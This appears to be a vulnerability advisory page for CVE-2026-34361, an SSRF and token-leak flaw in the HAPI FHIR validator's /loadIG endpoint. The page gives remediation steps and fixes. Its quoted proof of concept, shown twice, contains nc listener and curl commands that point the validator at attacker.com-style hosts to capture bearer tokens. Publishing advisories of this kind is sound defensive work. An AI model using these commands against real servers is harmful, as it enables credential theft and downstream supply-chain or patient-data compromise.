CVE-2026-34361: Org.hl7.fhir.validation FHIR Validator HTTP Service Has Vulnerability

CRITICAL
Advisory Identifier: GHSA-vr79-8m62-wh98
CVSS 9.3
CWE-552 CWE-522
Published
Advisory Summary

CVE-2026-34361 is a CRITICAL (CVSS 9.3) fhir validator http service has vulnerability (CWE-552: Files or Directories Accessible to External Parties) affecting Org.hl7.fhir.validation libraries in the Maven ecosystem. The issue involves fhir validator http service has ssrf via /loadig chains with startswith() credential leak for authentication token theft. Remediation is available by upgrading affected packages to version 6.9.4.

CVE-2026-34361 at a Glance

CVE Identifier CVE-2026-34361
GHSA Identifier GHSA-vr79-8m62-wh98
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-552: Files or Directories Accessible to External Parties
Affected Product Org.hl7.fhir.validation
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-34361

To remediate this vulnerability, upgrade all affected Org.hl7.fhir.validation dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ca.uhn.hapi.fhir:org.hl7.fhir.validation fixed: 6.9.4
<dependency>
    <groupId>ca.uhn.hapi.fhir</groupId>
    <artifactId>org.hl7.fhir.validation</artifactId>
    <version>6.9.4</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=ca.uhn.hapi.fhir

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-34361, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=ca.uhn.hapi.fhir

Analyze the terminal output to locate any version of Org.hl7.fhir.validation in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.9.4), your application is affected.

Note: The mvn dependency:tree -Dincludes=ca.uhn.hapi.fhir command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-552: Files or Directories Accessible to External Parties, where the product makes files or directories accessible to unauthorized actors, even though they should not be. In Org.hl7.fhir.validation, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. ## Details **Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`): The `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`: ```java // LoadIGHTTPHandler.java:43 engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true); // IgLoader.java:437 (fetchFromUrlSpecific) HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis()); ``` **Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`): When `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent: ```java // ManagedWebAccessUtils.java:14 if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } ``` If the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain. **Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`): `SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage. ## PoC **Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing: ```json { "servers": [{ "url": "https://packages.fhir.org", "authenticationType": "token", "token": "ghp_SecretTokenForFHIRRegistry123" }] } ``` **Step 1:** Set up attacker credential capture server: ```bash # On attacker machine, listen for incoming requests nc -lp 80 > /tmp/captured_request.txt & # Register DNS: packages.fhir.org.attacker.com -> attacker IP ``` **Step 2:** Trigger the SSRF with prefix-matching URL: ```bash curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}' ``` **Step 3:** Verify credential capture: ```bash cat /tmp/captured_request.txt # Expected output includes: # GET /malicious-ig?nocache=... HTTP/1.1 # Authorization: Bearer ghp_SecretTokenForFHIRRegistry123 # Host: packages.fhir.org.attacker.com ``` **Redirect variant** (if direct prefix match isn't possible): ```bash # Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://attacker.com/redirect"}' ``` ## Impact - **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server - **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers - **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed - **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked ## Recommended Fix **Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`): ```java public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { for (String serverType : serverTypes) { if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } } } } return null; } private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) { try { URL req = new URL(requestUrl); URL srv = new URL(serverUrl); return req.getProtocol().equals(srv.getProtocol()) && req.getHost().equals(srv.getHost()) && req.getPort() == srv.getPort() && req.getPath().startsWith(srv.getPath()); } catch (MalformedURLException e) { return false; } } ``` **Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`): ```java // Add allowlist validation before loading private static final Set<String> ALLOWED_HOSTS = Set.of( "packages.fhir.org", "packages2.fhir.org", "build.fhir.org" ); private boolean isAllowedSource(String ig) { try { URL url = new URL(ig); return ALLOWED_HOSTS.contains(url.getHost()); } catch (MalformedURLException e) { return false; // Not a URL, could be a package reference } } ```

CVE-2026-34361 Affected Org.hl7.fhir.validation Versions

1 component(s)
Fixed Versions:
6.9.4
Product / Package Ecosystem Affected Versions Fixed Version
ca.uhn.hapi.fhir:org.hl7.fhir.validation
Maven
< 6.9.4
6.9.4

References

Frequently Asked Questions

What is CVE-2026-34361?
CVE-2026-34361 is a security vulnerability in Org.hl7.fhir.validation involving FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft under CWE-552: Files or Directories Accessible to External Parties.
Which Org.hl7.fhir.validation versions are affected?
Affected versions include releases prior to 6.9.4 across affected packages: ca.uhn.hapi.fhir:org.hl7.fhir.validation.
What version fixes CVE-2026-34361?
Upgrading to 6.9.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is org.hl7.fhir.validation affected?
Yes, ca.uhn.hapi.fhir:org.hl7.fhir.validation is affected in releases prior to 6.9.4. Upgrade your dependency to 6.9.4 or later.
What is the CVSS score of CVE-2026-34361?
CVE-2026-34361 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-34361?
CVE-2026-34361 is classified under CWE-552: Files or Directories Accessible to External Parties (The product makes files or directories accessible to unauthorized actors, even though they should not be.).
How can I check Maven dependencies for CVE-2026-34361?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=ca.uhn.hapi.fhir'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vr79-8m62-wh98",
  "modified" : "2026-03-31T18:55:51Z",
  "published" : "2026-03-30T17:24:10Z",
  "aliases" : [ "CVE-2026-34361" ],
  "summary" : "FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft",
  "details" : "## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          && req.getHost().equals(srv.getHost())\n          && req.getPort() == srv.getPort()\n          && req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.9.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34361"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hapifhir/org.hl7.fhir.core"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522", "CWE-552" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T17:24:10Z",
    "nvd_published_at" : "2026-03-31T17:16:32Z"
  }
}